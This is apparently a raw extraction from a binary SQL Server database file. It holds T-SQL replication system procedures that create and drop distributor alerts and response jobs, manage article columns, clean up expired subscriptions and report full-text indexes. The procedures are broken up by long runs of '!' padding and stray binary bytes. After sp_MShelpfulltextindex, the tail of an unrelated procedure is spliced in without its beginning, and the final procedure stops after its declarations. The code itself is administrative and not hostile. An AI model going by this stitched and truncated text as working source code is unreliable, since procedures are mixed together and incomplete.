!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<	q	!J0E@ 8create procedure sys.sp_MSadd_distributor_alerts_and_responses
(
    @from_scripting bit = 0
)
as
begin
    declare @description    nvarchar(500)
    declare @category_name  sysname
    declare @agent_name     sysname
    declare @response_job   nvarchar(100)
    declare @alert_name     nvarchar(100)
    declare @alert_id       int
    declare @retcode        int
    declare @database		sysname

    select @database = db_name()
    
    --
    -- Add replication alert response jobs
    --
    select @category_name = name FROM msdb.dbo.syscategories where category_id = 18

    -- Add Validation failure response job
    -- (20570,10,0,'Reinitialize Subscriptions On Validation Failure.', 1033)   -- Title of a alert response job
    -- (20571,10,0,'Reiniitializes all subscriptions that have failed due to data validation failures.', 1033)  -- Description of a alert response job
    set @response_job = formatmessage(20570)
    set @description = formatmessage(20571)
    
    if @from_scripting = 0
    begin
        -- Delete the job if it already exists
        if (exists (select * from msdb.dbo.sysjobs_view where name = @response_job collate database_default))
        begin
            exec @retcode = sys.sp_MSdrop_repl_job @job_name = @response_job
            if @@ERROR <> 0 or @retcode <> 0
                return (1)
        end

        execute @retcode = msdb.sys.sp_MSadd_repl_job 
            @response_job,
            @subsystem = 'TSQL',
            @server = @@SERVERNAME,
            @databasename = @database,
            @description = @description,
            @command = 'exec sys.sp_MSreinit_failed_subscriptions @failure_level = 1',
            @enabled = 1,
            @loghistcompletionlevel = 0,
            @retryattempts = 0,
            @category_name = @category_name
        if @@ERROR <> 0 or @retcode <> 0
            return (1)
    end

    --
    -- Add replication alerts
    --

    -- Get Replication category name (assumes category_id = 20)
    select @category_name = name FROM msdb.dbo.syscategories where category_id = 20

    -- Add Failure Alert
    set @alert_name = formatmessage(20536)  
    set @alert_id = 14151 -- corresponding to formatmessage(20536),  Failure alert
    if not exists (select * from msdb.dbo.sysalerts where message_id = @alert_id)
    begin
        exec @retcode = msdb.dbo.sp_add_alert @enabled = 0, @name = @alert_name, @category_name = @category_name, @message_id = 14151
        if @@error <> 0 or @retcode <> 0
            return 1
    end

    -- Add Retry Alert
    set @alert_name=formatmessage(20537)
    set @alert_id = 14152 -- corresponding to formatmessage(20537),  Retry alert
    if not exists (select * from msdb.dbo.sysalerts where message_id = @alert_id)
    begin
        exec @retcode = msdb.dbo.sp_add_alert @enabled = 0, @name = @alert_name, @category_name = @category_name, @message_id = 14152
        if @@error <> 0 or @retcode <> 0
            return 1
    end

    -- Add Success Alert
    set @alert_name=formatmessage(20540)
    set @alert_id = 14150 -- corresponding to formatmessage(20540), 
    if not exists (select * from msdb.dbo.sysalerts where message_id = @alert_id)
    begin
        exec @retcode = msdb.dbo.sp_add_alert @enabled = 0, @name = @alert_name, @category_name = @category_name, @message_id = 14150
        if @@error <> 0 or @retcode <> 0
            return 1
    end

    -- Add Shutdown request Alert
    set @alert_name=formatmessage(20578)
    set @alert_id = 20578 --  Custom agent shutdown message
    if not exists (select * from msdb.dbo.sysalerts where message_id = @alert_id)
    begin
        exec @retcode = msdb.dbo.sp_add_alert @enabled = 0, @name = @alert_name, @category_name = @category_name, @message_id = 20578
        if @@error <> 0 or @retcode <> 0
            return 1
    end

    -- Add Validation Failure Alert
    set @alert_name=formatmessage(20565)
    set @alert_id = 20574 -- corresponding to formatmessage(20574), 
    if not exists (select * from msdb.dbo.sysalerts where message_id = @alert_id)
    begin
        exec @retcode = msdb.dbo.sp_add_alert @enabled = 0, @name = @alert_name, @category_name = @category_name, @message_id = 20574
        if @@error <> 0 or @retcode <> 0
            return 1
    end

    -- Add Validation Success Alert
    set @alert_name=formatmessage(20566)
    set @alert_id = 20575 -- corresponding to formatmessage(20575), 
    if not exists (select * from msdb.dbo.sysalerts where message_id = @alert_id)
    begin
        exec @retcode = msdb.dbo.sp_add_alert @enabled = 0, @name = @alert_name, @category_name = @category_name, @message_id = 20575
        if @@error <> 0 or @retcode <> 0
            return 1
    end

    -- Add Reinitialized after Validation Failure
    set @alert_name=formatmessage(20573)
    set @alert_id = 20572 -- corresponding to formatmessage(20566),  
    if not exists (select * from msdb.dbo.sysalerts where message_id = @alert_id)
    begin
        exec @retcode = msdb.dbo.sp_add_alert @enabled = 0, @name = @alert_name, @category_name = @category_name, @message_id = 20572
        if @@error <> 0 or @retcode <> 0
            return 1
    end
    --
    -- Add alerts for Thresholds
    -- 
    exec @retcode = sys.sp_replmonitoralerts @mode = 0
    if @@error <> 0 or @retcode <> 0
        return 1
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<
kr'&30@ 8create procedure sys.sp_MSdrop_distributor_alerts_and_responses
as
begin
    declare @name           nvarchar(100)
    declare @alert_id       int
    declare @retcode        int

    --
    -- Delete alerts and response jobs
    --

    -- Drop Replication Checkup Agent
    select @name = formatmessage(20533)
    IF EXISTS (SELECT * FROM msdb.dbo.sysjobs_view WHERE name = @name collate database_default and
        UPPER(originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
        and master_server = 0)
    BEGIN
        EXEC @retcode = sys.sp_MSdrop_repl_job @job_name = @name
        IF @@ERROR <> 0 or @retcode <> 0
        BEGIN
            return (1)            
        END
    END

    -- Drop Reinit subscription response job
    set @name = formatmessage(20570)
    IF EXISTS (SELECT * FROM msdb.dbo.sysjobs_view WHERE name = @name collate database_default and
        UPPER(originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
        and master_server = 0)
    BEGIN
        EXEC @retcode = sys.sp_MSdrop_repl_job @job_name = @name
        IF @@ERROR <> 0 or @retcode <> 0
        BEGIN
            return (1)            
        END
    END

    -- Drop the alerts
    set @alert_id = 14150 -- success alert
    set @name=formatmessage(20540)
    if exists (select * from msdb.dbo.sysalerts where message_id=@alert_id)
    begin
        select @name=name from msdb.dbo.sysalerts where message_id=@alert_id
        exec @retcode = msdb.dbo.sp_delete_alert @name
        if @@error <> 0 or @retcode <> 0
            return (1)            
    end
    
    set @alert_id = 14151 -- failure alert
    set @name = formatmessage(20536)
    if exists (select * from msdb.dbo.sysalerts where message_id=@alert_id)
    begin
        select @name=name from msdb.dbo.sysalerts where message_id=@alert_id
        exec @retcode = msdb.dbo.sp_delete_alert @name
        if @@error <> 0 or @retcode <> 0
            return (1)            
    end
    
    set @alert_id = 14152 -- retry alert
    set @name = formatmessage(20537)
    if exists (select * from msdb.dbo.sysalerts where message_id=@alert_id)
    begin
        select @name=name from msdb.dbo.sysalerts where message_id=@alert_id
        exec @retcode = msdb.dbo.sp_delete_alert @name
        if @@error <> 0 or @retcode <> 0
            return (1)            
    end

    set @alert_id = 14153 -- warnning alert
    set @name = formatmessage(20540)
    if exists (select * from msdb.dbo.sysalerts where message_id=@alert_id)
    begin
        select @name=name from msdb.dbo.sysalerts where message_id=@alert_id
        exec @retcode = msdb.dbo.sp_delete_alert @name
        if @@error <> 0 or @retcode <> 0
            return (1)            
    end

    -- Remove Validation Failure Alert
    set @alert_id = 20574 
    set @name = formatmessage(20565)
    if exists (select * from msdb.dbo.sysalerts where message_id=@alert_id)
    begin
        select @name=name from msdb.dbo.sysalerts where message_id=@alert_id
        exec @retcode = msdb.dbo.sp_delete_alert @name
        if @@error <> 0 or @retcode <> 0
            return (1)            
    end

    -- Remove Validation Sucess Alert
    set @alert_id = 20575
    set @name = formatmessage(20566)
    if exists (select * from msdb.dbo.sysalerts where message_id=@alert_id)
    begin
        select @name=name from msdb.dbo.sysalerts where message_id=@alert_id
        exec @retcode = msdb.dbo.sp_delete_alert @name
        if @@error <> 0 or @retcode <> 0
            return (1)            
    end
    
    -- Remove Reinitialized after Validation Failure
    set @alert_id = 20525 -- checksum alert
    set @name = formatmessage(20573)
    if exists (select * from msdb.dbo.sysalerts where message_id=@alert_id)
    begin
        select @name=name from msdb.dbo.sysalerts where message_id=@alert_id
        exec @retcode = msdb.dbo.sp_delete_alert @name
        if @@error <> 0 or @retcode <> 0
            return (1)            
    end

    -- Remove subscription reinitialized after validation failure
    set @alert_id = 20572 -- corresponding to formatmessage(20566),  
    set @name=formatmessage(20573)
    if exists (select * from msdb.dbo.sysalerts where message_id=@alert_id)
    begin
        select @name=name from msdb.dbo.sysalerts where message_id=@alert_id
        exec @retcode = msdb.dbo.sp_delete_alert @name
        if @@error <> 0 or @retcode <> 0
            return (1)            
    end

    -- Remove Shutdown request Alert
    set @alert_id = 20578 --  Custom agent shutdown message
    set @name=formatmessage(20578)
    if exists (select * from msdb.dbo.sysalerts where message_id=@alert_id)
    begin
        select @name=name from msdb.dbo.sysalerts where message_id=@alert_id
        exec @retcode = msdb.dbo.sp_delete_alert @name
        if @@error <> 0 or @retcode <> 0
            return (1)            
    end
    --
    -- Remove alerts for Thresholds
    -- 
    exec @retcode = sys.sp_replmonitoralerts @mode = 1
    if @@error <> 0 or @retcode <> 0
        return 1
    --
    -- all done
    --
    return 0
end
0+ P8h->.F/!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
5<^
s?0k)@ 8create procedure sys.sp_helpdistributor_properties 
     AS

    declare @retcode int

    -- Allow access if the user is 'sysadmin', member of 'db_owner' or 'repl_monitor'
    -- role in a distribution database, or in the PAL of a publication whose publisher
    -- uses this distributor.
    exec @retcode = sys.sp_MSrepl_DistributorPALAccess
    if (@retcode <> 0 or @@error <> 0)
    BEGIN
        DECLARE @login sysname
        SET @login = suser_sname()
        RAISERROR(21672, 16, -1, @login) 
        return (1)
    END 

    if exists (select name from msdb.sys.objects where name = 'MSdistributor')
    begin
        -- There is currently only one property, so this will work
        select 'heartbeat_interval' = convert(int, value) from msdb..MSdistributor where
            property = 'heartbeat_interval'
        return (0)
    end
    return (1)
0@ 	8create procedure sys.sp_articlecolumn (
        @publication sysname,           /* The publication name */
        @article sysname,               /* The article name */
        @column sysname = NULL,         /* The column name */
        @operation nvarchar(5) = N'add'      /* Add or delete a column */
        -- synctran
        , @refresh_synctran_procs bit = 1      -- refresh synctran procs or not
        , @ignore_distributor bit = 0
        -- DDL
        , @change_active int = 0
        , @force_invalidate_snapshot bit = 0    /* Force invalidate existing snapshot */
        , @force_reinit_subscription bit = 0    /* Force reinit subscription */
        , @publisher    sysname = NULL
		-- Peer-To-Peer
		, @internal bit = 0
        ) 
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @cmd2			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE	@publisher_type	sysname
	DECLARE	@publisher_dbms	sysname
	DECLARE	@publisher_version sysname
	
	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd OUTPUT,
													@publisher_type	= @publisher_type OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)
		
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT

	IF @publisher_type = N'MSSQLSERVER'
	BEGIN	
		-- Add sp
		set @cmd = @cmd + N'sys.sp_MSrepl_articlecolumn'
	
		EXEC @retcode = @cmd
					@publication,
					@article,
					@column,
					@operation,
					@refresh_synctran_procs,
					@ignore_distributor,
					@change_active,
					@force_invalidate_snapshot,
					@force_reinit_subscription,
					@internal
	END
	ELSE
	BEGIN

		-- Set publisher DBMS and version (for getting default data type mapping)
		SELECT	@publisher_dbms		= 'ORACLE'

		set @cmd2 = @cmd + N'sys.sp_IHgetversion'
		EXEC @retcode = @cmd2
					@publisher	= @publisher,
					@version	= @publisher_version OUTPUT

		IF @retcode != 0 OR @@ERROR != 0
		BEGIN
		    RETURN (1)
		END

		-- Add sp
		set @cmd2 = @cmd + N'sys.sp_IHarticlecolumn'
	
		EXEC @retcode = @cmd2
					@publication,
					@article,
					@column,
					@operation,
					@refresh_synctran_procs,
					@ignore_distributor,
					@change_active,
					@force_invalidate_snapshot,
					@force_reinit_subscription,
					@publisher,
					@publisher_type,
					@publisher_dbms,
					@publisher_version

	END

	RETURN (@retcode)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`5
<Ut1-z0v@ 8
CREATE PROCEDURE sys.sp_MSrepl_drop_expired_sub_cleanup_job
(
	@publisher sysname = NULL
)
AS
BEGIN
	DECLARE @retcode       int,
			@agentname     sysname,
			@alert_name    sysname,
			@alert_id      int,
			@command	   nvarchar(max),
			@category_name sysname

	SET @retcode = 0

    -- Get expired subscription cleanup agent name
    set @agentname = formatmessage(20569) +
    				 CASE
    				 	WHEN @publisher IS NOT NULL THEN N' ' + QUOTENAME(UPPER(@publisher))
    				 	ELSE N''
    				 END

	-- Drop expired subscription cleanup job (if it exists)
    IF EXISTS
	(
		SELECT	*
		FROM	msdb.dbo.sysjobs_view
		WHERE	name = @agentname COLLATE DATABASE_DEFAULT
		  AND	UPPER(originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
          AND	master_server = 0
	)
	AND
	(
		-- Check database state only when non-HREPL
		@publisher IS NOT NULL OR
		NOT EXISTS
		(
			SELECT	name
			FROM	master.dbo.sysdatabases
			WHERE	(category & 4 = 4)
			   OR	(category & 1 = 1)
		)
	)
	BEGIN
        EXEC @retcode = sys.sp_MSdrop_repl_job	@job_name = @agentname

        IF (@@ERROR != 0 OR @retcode != 0)
        BEGIN
            RETURN (1)
		END
    END
    

	-- Set the alert id
    SET	@alert_id = 14157 

	-- Drop expired subscription alert (if it exists) and only
	-- if no other published database or publisher
    IF EXISTS
    (
    	SELECT	*
    	FROM	msdb.dbo.sysalerts
    	WHERE	message_id = @alert_id
    )
	AND NOT EXISTS
	(
		SELECT	name
		FROM	master.dbo.sysdatabases
		WHERE	(category & 4 = 4)
		   OR	(category & 1 = 1)
	)
    BEGIN
    	-- Special check - drop the alerts if no more HREPL publishers as well
    	IF (OBJECT_ID('msdb.dbo.MSdistpublishers', 'U') IS NOT NULL)
		BEGIN
			IF EXISTS
			(
				SELECT	name
				FROM	msdb.dbo.MSdistpublishers
				WHERE	publisher_type != N'MSSQLSERVER'
			)
			BEGIN
				RETURN (0)
			END
		END

        SELECT	@alert_name = name
        FROM	msdb.dbo.sysalerts
        WHERE	message_id = @alert_id

        EXEC @retcode = msdb.dbo.sp_delete_alert @alert_name

        IF (@@ERROR != 0 OR @retcode != 0)
        BEGIN
            RETURN (1)
        END
    END

    RETURN @retcode
END
0ߞ J8
create proc sys.sp_MShelpfulltextindex
   @tablename nvarchar(517)
as

	create table #sphelpft
      (
  	   ind_name   nvarchar(128) COLLATE database_default NOT NULL,
      col1       nvarchar(128) COLLATE database_default,
      col2       nvarchar(128) COLLATE database_default,
      col3       nvarchar(128) COLLATE database_default,
      col4       nvarchar(128) COLLATE database_default,
      col5       nvarchar(128) COLLATE database_default,
      col6       nvarchar(128) COLLATE database_default,
      col7       nvarchar(128) COLLATE database_default,
      col8       nvarchar(128) COLLATE database_default,
      col9       nvarchar(128) COLLATE database_default,
      col10      nvarchar(128) COLLATE database_default,
      col11      nvarchar(128) COLLATE database_default,
      col12      nvarchar(128) COLLATE database_default,
      col13      nvarchar(128) COLLATE database_default,
      col14      nvarchar(128) COLLATE database_default,
      col15      nvarchar(128) COLLATE database_default,
      col16      nvarchar(128) COLLATE database_default
      )

   set nocount on

   /* all the possible full text unique indexes */
   declare @objid int
   select @objid = object_id(@tablename, N'local')
  	insert #sphelpft
         select i.name,
         columnproperty( @objid, index_col(@tablename, i.indid, 1), N'AllowsNull'),
         columnproperty( @objid, index_col(@tablename, i.indid, 2), N'AllowsNull'),
         columnproperty( @objid, index_col(@tablename, i.indid, 3), N'AllowsNull'),
         columnproperty( @objid, index_col(@tablename, i.indid, 4), N'AllowsNull'),
         columnproperty( @objid, index_col(@tablename, i.indid, 5), N'AllowsNull'),
         columnproperty( @objid, index_col(@tablename, i.indid, 6), N'AllowsNull'),
         columnproperty( @objid, index_col(@tablename, i.indid, 7), N'AllowsNull'),
         columnproperty( @objid, index_col(@tablename, i.indid, 8), N'AllowsNull'),
         columnproperty( @objid, index_col(@tablename, i.indid, 9), N'AllowsNull'),
         columnproperty( @objid, index_col(@tablename, i.indid, 10), N'AllowsNull'),
         columnproperty( @objid, index_col(@tablename, i.indid, 11), N'AllowsNull'),
         columnproperty( @objid, index_col(@tablename, i.indid, 12), N'AllowsNull'),
         columnproperty( @objid, index_col(@tablename, i.indid, 13), N'AllowsNull'),
         columnproperty( @objid, index_col(@tablename, i.indid, 14), N'AllowsNull'),
         columnproperty( @objid, index_col(@tablename, i.indid, 15), N'AllowsNull'),
         columnproperty( @objid, index_col(@tablename, i.indid, 16), N'AllowsNull')
         from dbo.sysindexes i where
         @objid = i.id and
         IndexProperty(@objid, i.name, N'IsUnique') = 1 and
         IndexProperty(@objid, i.name, N'UserKeyCount') = 1 and
         /* 450 byte MAX */
         exists (select * from dbo.syscolumns where id = @objid and name = Index_col(@tablename, IndexProperty(@objid, i.name, N'IndexId'), 1)
                 and length <= 450)

   /* Now we need to filter out the indexes which the associated key(s) are nullable */
   /* Each index can have up to 16 associated keys, all of them need to be non-nullalbe for the index to be qualified as a full text index */
   delete #sphelpft where col1 = 1 or col2 = 1 or col3 = 1 or col4 = 1 or col5 = 1 or col6 = 1 or col7 = 1 or col8 = 1 or
                          col9 = 1 or col10 = 1 or col11 = 1 or col12 = 1 or col13 = 1 or col14 = 1 or col15 = 1 or col16 = 1

   select ind_name from #sphelpft
   DROP TABLE #sphelpft

      
        fetch next from hCdatabase into @dbname
    end
    close hCdatabase
    deallocate hCdatabase
	
	select msddb.name,	
			min_distretention, 
			max_distretention, 
			history_retention,
			'history_cleanup_agent' =  formatmessage (20567, msddb.name),
			'distributor_cleanup_agent' = formatmessage(20568, msddb.name),
			'status' = 0, 
			'data_folder' = substring(dbfd_data.file_path, 1, len(dbfd_data.file_path) - charindex('\', reverse(dbfd_data.file_path))),
			'data_file'	= right(dbfd_data.file_path, charindex('\', reverse(dbfd_data.file_path))-1),
			'data_file_size'= convert(int, (select low from master.dbo.spt_values where type = 'E' and number = 1) * convert(dec(15), dbfd_data.size)/ 1048576), 
			'log_folder' = substring(dbfd_log.file_path, 1, len(dbfd_log.file_path) - charindex('\', reverse(dbfd_log.file_path))),
			'log_file' = right(dbfd_log.file_path, charindex('\', reverse(dbfd_log.file_path))-1),
			'log_file_size' = convert(int, (select low from master.dbo.spt_values where type = 'E' and number = 1) * convert(dec(15), dbfd_log.size)/ 1048576) 
		from msdb.dbo.MSdistributiondbs msddb
			join #dbfiledesc dbfd_data
				on msddb.name = dbfd_data.dbname collate database_default
			join #dbfiledesc dbfd_log
				on dbfd_data.dbname = dbfd_log.dbname collate database_default
		where msddb.name LIKE @database collate database_default
			and dbfd_data.type = 0
			and dbfd_log.type = 1

	return 0
end
0q '8
create function sys.fn_cdc_is_table_enabled
(
	@object_id int
)
returns bit
as
begin
	
	if exists
	(	select top 1 name from [sys].[tables] 
		where object_id = @object_id
		and is_tracked_by_cdc = 1
	) 
	begin
		return 1
	end

	return 0	
end
0$Z 88@'Rh
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!h]	]	`5
<u1;"0,W@ 8create procedure sys.sp_stopmergepullsubscription_agent
(
    @publisher      sysname,
    @publisher_db   sysname,
    @publication    sysname
)
as
begin
    set nocount on
    declare @retcode int
            ,@stop tinyint

    set @retcode = 0
    set @stop = 1

    -- Security check
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@error <> 0 or @retcode <> 0
        return 1

    exec @retcode = sys.sp_MSmergepullsubscriptionagentjobcontrol
        @publisher = @publisher,
        @publisher_db = @publisher_db,
        @publication = @publication,
        @action = @stop
    return @retcode 
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	u<v)S0 8create procedure sys.sp_MSscript_trigger_assignment (
    @objid int
    ,@postfix char(4) = null
    ,@indent int = 0
    ,@ts_col sysname
    ,@op_type char(3) -- 'ins, 'upd', 'del'
    ,@is_new    bit
    ,@primary_key_bitmap varbinary(4000) = null
)
as
BEGIN
    set nocount on
    declare @cmd          nvarchar(4000)
            ,@colname      sysname
            ,@spacer       nvarchar(1)
            ,@ccoltype     sysname
